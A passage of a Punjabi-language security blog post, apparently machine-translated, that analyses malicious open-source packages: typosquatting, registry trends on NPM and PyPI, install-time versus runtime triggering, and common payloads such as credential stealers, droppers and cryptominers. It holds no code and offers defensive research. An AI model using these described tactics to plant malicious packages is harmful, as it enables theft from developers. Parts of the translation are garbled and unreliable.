ਪਿਛਲੇ ਐਪੀਸੋਡ ਵਿੱਚ, ਓਪਨ ਸੋਰਸ ਖਤਰਨਾਕ ਪੈਕੇਜ: ਸਮੱਸਿਆ, ਅਸੀਂ ਚਰਚਾ ਕੀਤੀ ਕਿ ਧਮਕੀ ਦੇਣ ਵਾਲੇ ਇੰਨੇ ਕਿਉਂ ਸਨ ਨਵੇਂ ਖਤਰਨਾਕ ਹਿੱਸਿਆਂ ਨੂੰ ਪ੍ਰਕਾਸ਼ਿਤ ਕਰਨ ਜਾਂ ਮੌਜੂਦਾ ਹਿੱਸਿਆਂ ਦੇ ਨਵੀਨਤਮ ਸੰਸਕਰਣਾਂ ਵਿੱਚ ਮਾਲਵੇਅਰ ਲਗਾਉਣ ਲਈ ਉਤਸ਼ਾਹਿਤ: ਓਪਨ ਸੋਰਸ ਬੁਨਿਆਦੀ ਢਾਂਚਾ ਕਿਸੇ ਨੂੰ ਵੀ ਕਿਤੇ ਵੀ ਇੱਕ ਅਸਥਾਈ ਖਾਤਾ ਬਣਾਉਣ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ। ਇੱਕ ਕੰਪੋਨੈਂਟ ਰਜਿਸਟਰੀ (ਜਿਵੇਂ ਕਿ NPM, PyPI, ਡੌਕਰ ਹੱਬ ਜਾਂ ਵਿਜ਼ੂਅਲ ਸਟੂਡੀਓ ਮਾਰਕੀਟਪਲੇਸ) ਜਾਂ ਸਹਿਯੋਗੀ ਵਿਕਾਸ ਪਲੇਟਫਾਰਮ (ਜਿਵੇਂ ਕਿ GitHub) ਵਿੱਚ। ਜ਼ੀਰੋ ਲਾਗਤ, ਅਤੇ ਸਾਫਟਵੇਅਰ ਟੀਮਾਂ ਦੇ ਰਵਾਇਤੀ ਤੌਰ 'ਤੇ ਤੀਜੀ-ਧਿਰ ਦੇ ਹਿੱਸਿਆਂ 'ਤੇ ਵਾਧੂ ਵਿਸ਼ਵਾਸ ਦਾ ਲਾਭ ਉਠਾਉਣ ਦੇ ਬਹੁਤ ਸਾਰੇ ਮੌਕੇ।
ਹਮਲਾਵਰਾਂ ਲਈ ਓਪਨ ਸੋਰਸ ਲਈ ਉਪਲਬਧ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਮਾਲਵੇਅਰ ਵੰਡਣਾ ਕਿੰਨਾ ਆਸਾਨ ਹੈ, ਅਤੇ ਸਾਫਟਵੇਅਰ ਵਿਕਸਤ ਕਰਨ ਵਾਲੀਆਂ ਸੰਸਥਾਵਾਂ (ਹਰ ਕੋਈ?) ਲਈ ਮਾਲਵੇਅਰ ਨਾਲ ਸੰਕਰਮਿਤ ਹੋਣ ਤੋਂ ਬਚਣਾ (ਅਤੇ ਦੂਜਿਆਂ ਲਈ ਵੰਡੇ ਗਏ ਸਾਫਟਵੇਅਰ ਵਿੱਚ ਮਾਲਵੇਅਰ ਪ੍ਰਦਾਨ ਕਰਨਾ) ਕਿੰਨਾ ਔਖਾ ਹੈ, ਵਿਚਕਾਰ ਅਸਮਾਨਤਾ, ਪਿਛਲੇ ਸਾਲ ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਦੀ ਗਿਣਤੀ ਲਗਭਗ ਚੌਥਾਈ-ਮਿਲੀਅਨ ਤੱਕ ਪਹੁੰਚ ਗਈ।
ਇਹ ਇੰਨੀ ਵੱਡੀ ਸਮੱਸਿਆ ਹੈ ਕਿ ਕੋਈ ਵੀ ਇੱਕ ਸੰਗਠਨ ਇਸਨੂੰ ਹੱਲ ਨਹੀਂ ਕਰ ਸਕਦਾ, ਅਤੇ ਭਾਈਚਾਰਾ ਵਿਸ਼ਵਾਸ, ਡਿਫਾਲਟ-ਬਾਈ-ਸਿਕਿਓਰ ਅਤੇ ਡਿਜ਼ਾਈਨ-ਬਾਈ-ਸਿਕਿਓਰ ਸਿਧਾਂਤਾਂ, ਅਤੇ ਹਿੱਸਿਆਂ ਦੇ ਜੀਵਨ ਚੱਕਰ ਸੰਬੰਧੀ ਓਪਨ ਸੋਰਸ ਪ੍ਰਕਿਰਿਆ ਨੂੰ ਦੁਬਾਰਾ ਤਿਆਰ ਕਰਨ ਦੀ ਪ੍ਰਕਿਰਿਆ ਵਿੱਚ ਹੈ। ਅਸੀਂ ਅਗਲੇ ਐਪੀਸੋਡ ਵਿੱਚ ਅਜਿਹੇ ਵਿਚਾਰਾਂ 'ਤੇ ਇੱਕ ਨਜ਼ਰ ਮਾਰਾਂਗੇ। ਓਪਨ ਸੋਰਸ ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਤੋਂ ਸੁਰੱਖਿਆ: ਕੀ ਕੰਮ ਕਰਦਾ ਹੈ (ਨਹੀਂ).
ਯਾਦ ਰੱਖੋ ਕਿ ਅਸੀਂ ਸਾਫਟਵੇਅਰ ਹਿੱਸਿਆਂ ਬਾਰੇ ਗੱਲ ਕਰ ਰਹੇ ਹਾਂ ਜੋ ਜ਼ਿਆਦਾਤਰ ਸਮਾਂ ਮੇਲ ਖਾਂਦੇ ਹਨ ਸਾਫਟਵੇਅਰ ਪੈਕੇਜ: ਮੁੜ ਵਰਤੋਂ ਯੋਗ ਕੰਪੋਨੈਂਟ ਪੈਕ ਕੀਤੇ ਗਏ ਹਨ ਤਾਂ ਜੋ ਉਹਨਾਂ ਨੂੰ ਇੱਕ ਸਾਫਟਵੇਅਰ ਮੈਨੀਫੈਸਟ ਵਿੱਚ ਨਿਰਭਰਤਾ ਵਜੋਂ ਦਰਸਾਇਆ ਜਾ ਸਕੇ, ਅਤੇ ਇੱਕ ਪੈਕੇਜ ਮੈਨੇਜਰ ਜਾਂ ਬਿਲਡ ਟੂਲ ਨਾਲ ਸਥਾਪਿਤ ਕੀਤਾ ਜਾ ਸਕੇ। ਕਿਰਪਾ ਕਰਕੇ ਧਿਆਨ ਦਿਓ ਕਿ ਇਸ ਕੇਸ ਨੂੰ ਜਨਤਕ ਸ਼ਾਮਲ ਕਰਨ ਲਈ ਵਧਾਇਆ ਜਾ ਸਕਦਾ ਹੈ ਕੰਟੇਨਰ ਚਿੱਤਰ (ਕੰਟੇਨਰ ਰਨਟਾਈਮ ਅਤੇ ਕੁਬਰਨੇਟਸ ਵਰਗੇ ਆਰਕੈਸਟ੍ਰੇਸ਼ਨ ਪਲੇਟਫਾਰਮਾਂ ਦੁਆਰਾ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ), ਅਤੇ ਸਾਫਟਵੇਅਰ ਟੂਲਸ ਲਈ ਐਕਸਟੈਂਸ਼ਨਾਂ (ਨਿਰਮਾਣ, ਆਟੋਮੇਸ਼ਨ ਅਤੇ ਤੈਨਾਤੀ ਲਈ)।
ਇੱਥੇ ਅਸੀਂ ਵਿਸ਼ਲੇਸ਼ਣ ਕਰਦੇ ਹਾਂ ਕਿ ਇਹ ਕਿਵੇਂ ਖਤਰਨਾਕ ਹਿੱਸਿਆਂ ਦੇ ਆਧਾਰ 'ਤੇ ਹਮਲੇ ਦੀ ਰਣਨੀਤੀ ਪਿਛਲੀਆਂ ਉਦਾਹਰਣਾਂ ਅਤੇ ਮਾਲਵੇਅਰ ਅਰਲੀ ਵਾਰਨਿੰਗ ਲਈ ਸਾਡੇ ਪਲੇਟਫਾਰਮ ਵਿੱਚ ਜੋ ਅਸੀਂ ਦੇਖਿਆ ਹੈ, ਉਸ ਅਨੁਸਾਰ ਕੰਮ ਕਰਦਾ ਹੈ (MEW)। ਅਸੀਂ ਖਤਰਨਾਕ ਹਿੱਸਿਆਂ ਨੂੰ ਵੱਖ-ਵੱਖ ਪਹਿਲੂਆਂ ਵਿੱਚ ਵੰਡਾਂਗੇ:
(1) ਵੰਡ ਲਈ ਚੁਣਿਆ ਗਿਆ ਤਰੀਕਾ (ਨਵੇਂ ਜਾਂ ਮੌਜੂਦਾ ਹਿੱਸੇ ਵਿੱਚ ਵਰਤੀ ਗਈ ਰਜਿਸਟਰੀ, ਅਤੇ ਪ੍ਰਕਾਸ਼ਿਤ ਹਿੱਸੇ ਦੇ ਸੰਸਕਰਣ ਨੂੰ ਸੰਕਰਮਿਤ ਕਰਨ ਲਈ ਵਰਤੀ ਗਈ ਤਕਨੀਕ), (2) ਮਾਲਵੇਅਰ ਕਿਵੇਂ ਕਿਰਿਆਸ਼ੀਲ ਜਾਂ ਚਾਲੂ ਹੁੰਦਾ ਹੈ, (3) ਖਤਰਨਾਕ ਵਿਵਹਾਰ ਭਾਵ ਕਿਹੜੀਆਂ ਨੁਕਸਾਨਦੇਹ ਕਾਰਵਾਈਆਂ ਵੇਖੀਆਂ ਜਾਂਦੀਆਂ ਹਨ ਅਤੇ ਹਮਲਾਵਰ ਦੀ ਪ੍ਰੇਰਣਾ ਕੀ ਹੈ, (4) ਕਿਹੜੀਆਂ ਤਕਨੀਕਾਂ ਧੁੰਦਲਾ ਕਰਨ ਲਈ ਆਮ ਹਨ, ਅਣਦੇਖੇ ਜਾਣ ਲਈ ਲੁਕਣਾ, ਪਾਸੇ ਦੀ ਗਤੀ, ਕਮਾਂਡ ਅਤੇ ਕੰਟਰੋਲ (C2) ਹੋਸਟਾਂ ਨਾਲ ਸੰਚਾਰ, ਆਦਿ; ਅਤੇ (5) ਕਾਫ਼ੀ ਪ੍ਰਸਿੱਧੀ ਅਤੇ ਵਿਸ਼ਵਾਸ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀਆਂ ਤਕਨੀਕਾਂ ਤਾਂ ਜੋ ਪੀੜਤ ਕੰਪੋਨੈਂਟ ਨੂੰ ਸਥਾਪਿਤ ਕਰ ਸਕਣ।
ਚੁਣਿਆ ਗਿਆ ਵੰਡ ਵਿਧੀ
ਅਸੀਂ ਇੱਕ "ਪਿਛੋਕੜ ਦਾ ਸ਼ੋਰ"ਅਣਜਾਣ ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਦਾ ਜੋ ਟਾਈਪੋਸਕੈਟਿੰਗ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਬੇਖ਼ਬਰ ਡਿਵੈਲਪਰਾਂ ਨੂੰ ਉਨ੍ਹਾਂ ਦੀ ਨਿਰਭਰਤਾ ਲਈ ਪੈਕੇਜ ਨਾਮ ਵਿੱਚ ਟਾਈਪੋ ਨਾਲ ਫਿਸ਼ ਕਰਦੇ ਹਨ। ਬਹੁਤ ਸਾਰੇ ਪ੍ਰਸਿੱਧ ਪੈਕੇਜਾਂ ਨੂੰ ਟਾਈਪੋ ਦੇ ਨਾਲ ਸਮਾਨ ਨਾਮ ਵਾਲੇ ਪੈਕੇਜਾਂ ਦੀ ਇੱਕ ਲੜੀ ਮਿਲਦੀ ਹੈ, ਇਸ ਉਮੀਦ ਨਾਲ ਕਿ ਉਹ ਕੁਝ ਬੇਖ਼ਬਰ ਡਿਵੈਲਪਰਾਂ ਨੂੰ ਫਿਸ਼ ਕਰਨਗੇ।
ਉਹ ਇੱਕ ਅਸਥਾਈ ਖਾਤਾ ਵਰਤਦੇ ਹਨ, ਟਾਈਪੋਸਕੈਟਸ ਪੈਕੇਜਾਂ ਦਾ ਇੱਕ ਸਮੂਹ ਪ੍ਰਕਾਸ਼ਤ ਕਰਦੇ ਹਨ, ਇੱਕ ਹੋਰ ਬਣਾਉਂਦੇ ਹਨ, ਅਤੇ ਇੱਕ ਹੋਰ ਸਮੂਹ ਪ੍ਰਕਾਸ਼ਤ ਕਰਦੇ ਹਨ... ਕੁਝ ਆਟੋਮੇਸ਼ਨ ਅਤੇ ਚਤੁਰਾਈ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਉਹ ਕੁਝ ਸੂਝ-ਬੂਝ ਪ੍ਰਾਪਤ ਕਰ ਸਕਦੇ ਹਨ, ਪਰ ਆਮ ਤੌਰ 'ਤੇ ਉਹ ਕਾਫ਼ੀ ਮਾਮੂਲੀ ਹੁੰਦੇ ਹਨ। ਅਸੀਂ ਅੰਦਰੂਨੀ ਤੌਰ 'ਤੇ ਉਨ੍ਹਾਂ ਨੂੰ "ਐਂਚੌਜੀ"। ਪ੍ਰਮਾਣ ਪੱਤਰ ਚੋਰੀ ਕਰਨਾ ਮੁੱਖ ਟੀਚਾ ਹੈ, ਪਰ ਕਦੇ-ਕਦੇ ਅਸੀਂ ਸਪਾਈਵੇਅਰ ਨੂੰ ਸਰੋਤ ਕੋਡ ਜਾਂ ਸੰਵੇਦਨਸ਼ੀਲ ਡੇਟਾ ਜਿਵੇਂ ਕਿ ਨਿੱਜੀ ਤੌਰ 'ਤੇ ਪਛਾਣਨਯੋਗ ਜਾਣਕਾਰੀ (PII), ਕਲਿੱਪਬੋਰਡ ਕੈਪਚਰ, ਅਤੇ ਹੋਰ ਗਲਤਫਹਿਮੀਆਂ ਨੂੰ ਫੈਲਾਉਂਦੇ ਪਾਉਂਦੇ ਹਾਂ।
ਅਚਾਨਕ ਅਸੀਂ ਵਧੇਰੇ ਸੂਝਵਾਨ ਖਤਰਨਾਕ ਹਿੱਸੇ, "ਸ਼ਾਰਕ" ਦੇਖਦੇ ਹਾਂ। ਇੱਕ ਘੱਟ ਗਿਣਤੀ ਨੂੰ ਖਾਸ ਸਮੂਹਾਂ ਜਾਂ ਸੰਗਠਨਾਂ ਨੂੰ ਨਿਸ਼ਾਨਾ ਬਣਾਇਆ ਜਾਂਦਾ ਹੈ, ਖਾਸ ਤੌਰ 'ਤੇ ਕ੍ਰਿਪਟੋ ਡਰੇਨਰਾਂ ਜਾਂ ਵੈੱਬ ਸਕਿਮਰਾਂ ਨਾਲ ਜੋ ਸ਼ਰਤ ਅਨੁਸਾਰ ਕਿਰਿਆਸ਼ੀਲ ਹੁੰਦੇ ਹਨ, ਸ਼ਾਇਦ ਵਿੱਚ ਦੇਖੇ ਗਏ ਪਹੁੰਚ ਦੀ ਪਾਲਣਾ ਕਰਦੇ ਹੋਏ ਘਟਨਾ-ਪ੍ਰਵਾਹ ਘਟਨਾ ਹਮਲੇ ਦੇ ਪੇਲੋਡ ਨੂੰ ਸਿਰਫ਼ ਉਦੋਂ ਹੀ ਡੀਕ੍ਰਿਪਟ ਕਰਨਾ ਜਦੋਂ ਪੈਕੇਜ ਨੂੰ ਕਿਸੇ ਟਾਰਗੇਟ ਪੈਕੇਜ ਤੋਂ ਹਵਾਲਾ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ।
ਵੰਡ ਵਿਧੀ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ ਸ਼ਾਨਦਾਰ ਅਤੇ ਹੁਣ ਕਲਾਸਿਕ ਪੇਪਰ ਵਿੱਚ ਕੀਤਾ ਗਿਆ ਸੀ, “ਬੈਕਸਟੈਬਰ ਦਾ ਚਾਕੂ ਸੰਗ੍ਰਹਿ: ਓਪਨ ਸੋਰਸ ਸਾਫਟਵੇਅਰ ਸਪਲਾਈ ਚੇਨ ਹਮਲਿਆਂ ਦੀ ਸਮੀਖਿਆ", ਜੋ ਕਿ ਪੜ੍ਹਨਾ ਲਾਜ਼ਮੀ ਹੈ। ਯਕੀਨਨ ਤੁਸੀਂ ਇਹ ਵਧੀਆ ਚਾਰਟ ਪਹਿਲਾਂ ਦੇਖਿਆ ਹੋਵੇਗਾ:
ਸਾਰੇ ਤਰੀਕਿਆਂ ਦੀ ਪੜਚੋਲ ਕੀਤੀ ਗਈ, ਜਿਸ ਵਿੱਚ ਨਵੇਂ ਅਤੇ ਮੌਜੂਦਾ ਪੈਕੇਜ ਸ਼ਾਮਲ ਹਨ; ਸਰੋਤ ਕੋਡ, ਬਿਲਡ ਸਿਸਟਮ, ਜਾਂ ਪੈਕੇਜ ਕੀਤੇ ਹਿੱਸੇ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕਰਨਾ; ਚੋਰੀ ਹੋਏ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਜਾਂ ਸੋਸ਼ਲ ਇੰਜੀਨੀਅਰਿੰਗ ਦੀ ਵਰਤੋਂ ਕਰਨਾ; ਛੱਡੇ ਹੋਏ ਖਾਤਿਆਂ ਅਤੇ ਰਿਪੋਜ਼ਟਰੀਆਂ ਨੂੰ ਹਾਈਜੈਕ ਕਰਨਾ ਜਾਂ ਰੱਖੇ ਹੋਏ ਖਾਤਿਆਂ ਨੂੰ ਜ਼ਹਿਰ ਦੇਣਾ। ਕੁਝ ਹਮਲਿਆਂ ਨੂੰ ਨਾਮ ਮਿਲੇ (ਟਾਈਪੋਸਕੈਟਿੰਗ, ਨਿਰਭਰਤਾ ਉਲਝਣ, ਮੈਨੀਫੈਸਟ ਉਲਝਣ, ਰੈਪੋ-ਜੈਕਿੰਗ. ਆਦਿ) ਅਤੇ ਪਹਿਲਾਂ ਹੀ ਕਿਤੇ ਹੋਰ ਚਰਚਾ ਕੀਤੀ ਜਾ ਚੁੱਕੀ ਹੈ।
ਚੁਣੀਆਂ ਗਈਆਂ ਰਜਿਸਟਰੀਆਂ ਬਾਰੇ ਕੀ?
NPM ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਦੀ ਕੁੱਲ ਸੰਖਿਆ ਵਿੱਚ ਮੋਹਰੀ ਬਣਿਆ ਹੋਇਆ ਹੈ, ਪਰ ਅਸੀਂ ਇਸ ਸਾਲ ਤੋਂ PyPI 'ਤੇ ਇੱਕ ਵਾਧਾ ਦੇਖਿਆ ਹੈ। Python ਡੇਟਾ ਸਾਇੰਸ ਅਤੇ ਮਸ਼ੀਨ ਲਰਨਿੰਗ ਲਈ ਇੱਕ ਪ੍ਰਸਿੱਧ ਈਕੋਸਿਸਟਮ ਹੈ। ਦਰਅਸਲ, ਮਾਲਵੇਅਰ ਘਣਤਾ ਹੁਣ NPM ਨਾਲੋਂ PyPI ਵਿੱਚ ਵੱਧ ਹੈ।
ਮਾਲਵੇਅਰ ਕਿਵੇਂ ਸ਼ੁਰੂ ਹੁੰਦਾ ਹੈ
10 ਵਿੱਚੋਂ ਸਿਰਫ਼ 4 ਮਾਮਲਿਆਂ ਵਿੱਚ ਇੰਸਟਾਲੇਸ਼ਨ ਦੌਰਾਨ ਖਤਰਨਾਕ ਪੈਕੇਜ ਚਾਲੂ ਹੁੰਦੇ ਹਨ (ਹਾਲ ਹੀ ਦੇ ਸਾਲਾਂ ਵਿੱਚ ਇਹ 10 ਵਿੱਚੋਂ 6 ਦੇ ਨੇੜੇ ਸੀ)। ਬਾਕੀ ਰਨਟਾਈਮ 'ਤੇ ਖਤਰਨਾਕ ਵਿਵਹਾਰ ਚਲਾਉਂਦੇ ਹਨ, ਟੈਸਟ ਚਲਾਉਂਦੇ ਸਮੇਂ 100 ਵਿੱਚੋਂ 1 ਚਾਲੂ ਹੁੰਦਾ ਹੈ। ਵਿਰੋਧੀਆਂ ਨੂੰ ਪਤਾ ਲੱਗਦਾ ਹੈ ਕਿ ਇੰਸਟਾਲੇਸ਼ਨ ਸਕ੍ਰਿਪਟਾਂ ਦਾ ਬੇਕਾਬੂ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਕਈ ਥਾਵਾਂ 'ਤੇ ਅਯੋਗ ਕਰ ਦਿੱਤਾ ਗਿਆ ਸੀ।
ਬੁਰੇ ਲੋਕਾਂ ਨੂੰ ਕੀ ਮਿਲ ਰਿਹਾ ਹੈ?
ਅਸੀਂ ਖਤਰਨਾਕ ਵਿਵਹਾਰ ਸ਼੍ਰੇਣੀਆਂ ਦੀ ਸੂਚੀ ਬਣਾਵਾਂਗੇ, ਪਹਿਲਾਂ ਸਭ ਤੋਂ ਪ੍ਰਸਿੱਧ ਸ਼੍ਰੇਣੀਆਂ ਨਾਲ। ਕਿਰਪਾ ਕਰਕੇ ਧਿਆਨ ਦਿਓ ਕਿ ਪ੍ਰਭਾਵ ਕਾਫ਼ੀ ਵੱਖਰਾ ਹੋ ਸਕਦਾ ਹੈ: a ਵਾਈਪਰ ਜ਼ਿੱਦੀ ਤੌਰ 'ਤੇ ਵਿਨਾਸ਼ਕਾਰੀ ਹੈ, ਪਰ ਇਹ ਆਮ ਨਹੀਂ ਹੈ ਅਤੇ ਸਿਰਫ ਕੁਝ ਮਾਮਲਿਆਂ ਵਿੱਚ ਹੀ ਦੇਖਿਆ ਗਿਆ ਸੀ, ਜੋ ਕਿ ਨਿਸ਼ਾਨਾਬੱਧ ਸਾਈਬਰ ਯੁੱਧ ਮੁਹਿੰਮਾਂ ਜਾਂ ਬੇਰਹਿਮ ਹੈਕਟਿਵਿਜ਼ਮ ਨਾਲ ਸਬੰਧਤ ਹਨ। ਹੇਠ ਲਿਖੀਆਂ ਸ਼੍ਰੇਣੀਆਂ ਕਾਫ਼ੀ ਆਮ ਹਨ:
- InfoStealer / ਕ੍ਰੇਡੈਂਸ਼ੀਅਲ ਡਰੇਨਰ. ਹੁਣ ਤੱਕ ਸਭ ਤੋਂ ਵੱਧ ਅਕਸਰ, 90% ਤੋਂ ਵੱਧ ਗੈਰ-ਸੰਜੀਦਾ ਹਮਲੇ ਸਧਾਰਨ ਚੋਰੀ ਕਰਨ ਵਾਲੇ ਹੁੰਦੇ ਹਨ ਜੋ ਮੁੱਖ ਤੌਰ 'ਤੇ ਪਾਸਵਰਡ, ਐਕਸੈਸ ਟੋਕਨ, API ਕੁੰਜੀਆਂ, ਅਤੇ ਪ੍ਰਾਈਵੇਟ ਕੁੰਜੀਆਂ (SSH ਅਤੇ ਇਸ ਤਰ੍ਹਾਂ ਦੇ ਲਈ) ਵਰਗੇ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਦੀ ਭਾਲ ਕਰਦੇ ਹਨ। ਇਹ ਸ਼ਾਇਦ ਲਿਖਣਾ ਸਭ ਤੋਂ ਸੌਖਾ ਹੈ (ਵਾਈਪਰਾਂ ਦੇ ਨਾਲ?)। ਉਹ ਜਾਣੀਆਂ-ਪਛਾਣੀਆਂ ਫਾਈਲਾਂ/ਡਾਇਰੈਕਟਰੀਆਂ ਅਤੇ ਹੋਰ ਸਰੋਤਾਂ (ਜਿਵੇਂ ਕਿ ਰਜਿਸਟਰੀ ਕੁੰਜੀਆਂ) ਦੀ ਗਿਣਤੀ ਕਰਦੇ ਹਨ, ਸਮੱਗਰੀ ਨੂੰ ਪੈਕੇਜ ਕਰਦੇ ਹਨ, ਅਤੇ ਉਸ ਡੇਟਾ ਨੂੰ C2 ਸਰਵਰ ਨੂੰ ਭੇਜਦੇ ਹਨ। ਵਿਚਾਰ ਸਧਾਰਨ ਹੈ: "ਮੈਂ ਫਿਸ਼ਿੰਗ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਲਈ ਇੱਕ ਚੋਰੀ ਕਰਨ ਵਾਲਾ ਪ੍ਰਕਾਸ਼ਤ ਕਰਦਾ ਹਾਂ, ਇਸ ਲਈ ਮੈਂ ਬਾਅਦ ਵਿੱਚ ਇੱਕ ਨਿਰਦੇਸ਼ਿਤ ਹਮਲਾ ਸ਼ੁਰੂ ਕਰਨ ਲਈ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦਾ ਹਾਂ"।
ਦੇਖਿਆ ਗਿਆ C2 ਨੈੱਟਵਰਕਿੰਗ ਆਮ ਤੌਰ 'ਤੇ ਸਸਤਾ ਅਤੇ ਗੰਦਾ ਹੁੰਦਾ ਹੈ, ਜਿਵੇਂ ਕਿ ਟੈਲੀਗ੍ਰਾਮ ਚੈਨਲ ਜਾਂ ਐਨਗ੍ਰੋਕ ਵਰਗੇ ਸੁਰੰਗ ਬਣਾਉਣ ਵਾਲੇ ਸੰਦ (ਅਕਸਰ VPN ਈਗ੍ਰੇਸ ਆਈਪੀ ਰਾਹੀਂ ਸਾਹਮਣੇ ਆਉਣ ਵਾਲੇ ਰਿਵਰਸ ਪ੍ਰੌਕਸੀਆਂ ਦੇ ਰੂਪ ਵਿੱਚ)। ਸੈਂਕੜੇ (!) ਸੰਭਾਵਨਾਵਾਂ ਹਨ, ਜਿਸਦੇ ਅਧੀਨ ਬਹੁਤ ਸਾਰੇ GitHub ਪ੍ਰੋਜੈਕਟ ਹਨ ਪਾਸਵਰਡ ਚੋਰੀ ਕਰਨ ਵਾਲਾ ਵਿਸ਼ਾ. ਕੀਲੌਗਰ ਵਰਗੀਆਂ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਅਤੇ ਕੰਟੇਨਰ ਚਿੱਤਰਾਂ ਲਈ ਬਹੁਤ ਘੱਟ ਹੁੰਦੀਆਂ ਹਨ, ਪਰ ਟੂਲ ਐਕਸਟੈਂਸ਼ਨਾਂ ਵਿੱਚ ਵਧੇਰੇ ਆਮ ਹੁੰਦੀਆਂ ਹਨ, ਜਿੱਥੇ ਉਪਭੋਗਤਾ ਇੰਟਰੈਕਸ਼ਨ ਦੀ ਉਮੀਦ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।
- ਡਰਾਪਰ / ਡਾਊਨਲੋਡਰ. ਪ੍ਰਸਿੱਧੀ ਵਿੱਚ ਦੂਜਾ, ਆਮ ਤੌਰ 'ਤੇ ਮਲਟੀ-ਸਟੇਜ ਹਮਲਿਆਂ ਵਿੱਚ ਪਹਿਲਾਂ ਆਉਂਦਾ ਹੈ। ਤਿੰਨ ਵਿੱਚੋਂ ਇੱਕ ਤੋਂ ਵੱਧ ਖਤਰਨਾਕ ਹਿੱਸਿਆਂ ਵਿੱਚ ਡਰਾਪਰ (ਜੇਕਰ ਖਤਰਨਾਕ ਪੇਲੋਡ ਪੈਕੇਜ ਦੇ ਅੰਦਰ ਸ਼ਾਮਲ ਹੁੰਦਾ ਹੈ) ਜਾਂ ਡਾਊਨਲੋਡਰ ਹੁੰਦੇ ਹਨ (ਪੇਲੋਡ ਹਮਲਾਵਰ ਦੇ ਨਿਯੰਤਰਣ ਅਧੀਨ ਇੱਕ ਐਂਡਪੁਆਇੰਟ ਤੋਂ ਡਾਊਨਲੋਡ ਕੀਤਾ ਜਾਂਦਾ ਹੈ)। ਪੇਲੋਡ ਅਕਸਰ ਇੱਕ ਜਾਣਿਆ-ਪਛਾਣਿਆ ਬਾਈਨਰੀ ਮਾਲਵੇਅਰ ਰੂਪ ਹੁੰਦਾ ਹੈ, ਅਤੇ ਇਸਨੂੰ ਬੈਕਡੋਰ, ਸਪਾਈਵੇਅਰ, ਕ੍ਰਿਪਟੋ ਡਰੇਨਰਾਂ ਅਤੇ ਹੋਰ ਵਰਤੋਂ ਦੇ ਮਾਮਲਿਆਂ ਨੂੰ ਸਥਾਪਿਤ ਕਰਨ ਲਈ ਚਲਾਇਆ ਜਾਂਦਾ ਹੈ ਅਤੇ ਕਈ ਵਾਰ ਕਾਇਮ ਰੱਖਿਆ ਜਾਂਦਾ ਹੈ। ਡਾਊਨਲੋਡ ਕੀਤਾ ਜਾਂ ਤੈਨਾਤ ਕੀਤਾ ਪੇਲੋਡ ਮੌਜੂਦਾ ਮਾਲਵੇਅਰ ਬਾਈਨਰੀਆਂ ਦੁਆਰਾ ਪ੍ਰਦਾਨ ਕੀਤੀ ਗਈ ਸਾਰੀ ਸ਼ਕਤੀ ਨਾਲ ਦੂਜੇ-ਪੜਾਅ ਦਾ ਹਮਲਾ ਸ਼ੁਰੂ ਕਰਦਾ ਹੈ। ਬਾਈਨਰੀਆਂ ਨੂੰ ਪੈਕੇਜ ਦੇ ਅੰਦਰ ਵੰਡਿਆ ਜਾ ਸਕਦਾ ਹੈ, ਅਕਸਰ ਤਸਵੀਰਾਂ ਜਾਂ ਕਥਿਤ ਤੌਰ 'ਤੇ ਨਿਰਦੋਸ਼ ਫਾਈਲ ਕਿਸਮਾਂ ਦੇ ਰੂਪ ਵਿੱਚ ਭੇਸ ਬਦਲਿਆ ਜਾਂਦਾ ਹੈ, ਤਾਂ ਜੋ ਅਣਕਿਆਸੀ ਸਾਈਟਾਂ ਨਾਲ ਜੁੜਦੇ ਸਮੇਂ ਖੋਜ ਤੋਂ ਬਚਿਆ ਜਾ ਸਕੇ।
- ਕ੍ਰਿਪਟੋਕਰੰਸੀ ਚੋਰੀ ਕਰਨ ਵਾਲੇ / ਮਾਈਨਰ. ਵਿੱਤੀ ਤੌਰ 'ਤੇ ਪ੍ਰੇਰਿਤ ਵਿਰੋਧੀ ਕ੍ਰਿਪਟੋਮਾਈਨਰ ਚਲਾਉਣ ਲਈ ਤੁਹਾਡੀਆਂ ਕਲਾਉਡ ਸੰਪਤੀਆਂ ਦੀ ਵਰਤੋਂ ਕਰਨ ਲਈ ਤਿਆਰ ਹਨ (ਉਹ ਇਹ ਵੀ ਪਤਾ ਲਗਾਉਂਦੇ ਹਨ ਕਿ ਕੀ ਉਹ ਕਲਾਉਡ VM ਵਿੱਚ ਚੱਲ ਰਹੇ ਹਨ)। ਉਹਨਾਂ ਨੂੰ ਇਸ ਗੱਲ ਦੀ ਕੋਈ ਪਰਵਾਹ ਨਹੀਂ ਹੈ ਕਿ ਘੱਟ-ਮੁਨਾਫ਼ਾ ਅਨੁਪਾਤ ਚੋਰੀ ਹੋਏ ਕਲਾਉਡ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਲਈ ਪੀੜਤ ਤੋਂ ਲਏ ਗਏ ਹਰੇਕ $53 ਲਈ $1। ਪੀੜਤਾਂ ਨੂੰ ਇਸ ਬਾਰੇ ਉਦੋਂ ਤੱਕ ਪਤਾ ਨਹੀਂ ਲੱਗ ਸਕਦਾ ਜਦੋਂ ਤੱਕ ਉਨ੍ਹਾਂ ਨੂੰ ਅਚਾਨਕ ਬਿੱਲ ਨਹੀਂ ਮਿਲਦਾ। ਖੁਸ਼ਕਿਸਮਤੀ ਨਾਲ, ਇਹ ਆਉਂਦਾ 